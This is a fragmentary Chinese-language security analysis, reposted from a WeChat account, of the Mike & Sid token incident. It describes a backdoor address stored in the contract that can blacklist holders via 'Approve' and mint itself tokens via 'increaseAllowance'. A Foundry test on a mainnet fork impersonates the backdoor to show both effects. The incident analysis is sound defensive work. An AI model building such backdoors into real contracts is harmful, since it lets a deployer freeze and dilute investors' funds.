这个变量在Mike合约的4号slot上,可以发现这里储存的值就是攻击者地址。是合约部署者设置的后门地址。
more
function approve(address spender, uint256 amount)function Approve(address spender, uint256 amount)
当调用者为后门地址时,会将spender加入到_dex表中。其他地方需要用到 _dex的在内部函数 _requireBalance中:
pragma solidity ^0.8.0;import "forge-std/Test.sol";import "forge-std/console.sol";import "./Mike.sol";contract ContractTest is Test { address public victim = 0xeF7aA5930b2E92e7EF59BACfE18A0A3cb2105747; address public backDoor = 0xF7E0d99511eab452bCBBdC34285E25F10E28F79D; Mike public mike = Mike(0x8B99Bb8ddD8103CbEccC3b20C4B0038cA65A51AE); function setUp() public { uint256 forkId = vm.createFork("mainnet", 17608449); vm.selectFork(forkId); } function testFail_Approve() public { vm.prank(backDoor); mike.Approve(victim, 1); vm.prank(victim); mike.transfer(address(0), 1); } function testFreeMint() public { vm.prank(backDoor); mike.increaseAllowance(backDoor, 1262000000000000000000000000000000); assertEq(mike.balanceOf(backDoor), 1262000000000000000000000000000000); }}
在加入黑名单之后,只要进行转账操作就会发生revert。调用increaseAllowance后,后门地址获取到了足够的token。
原文始发于微信公众号(SAINTSEC):合约安全之Mike&Sid事件分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论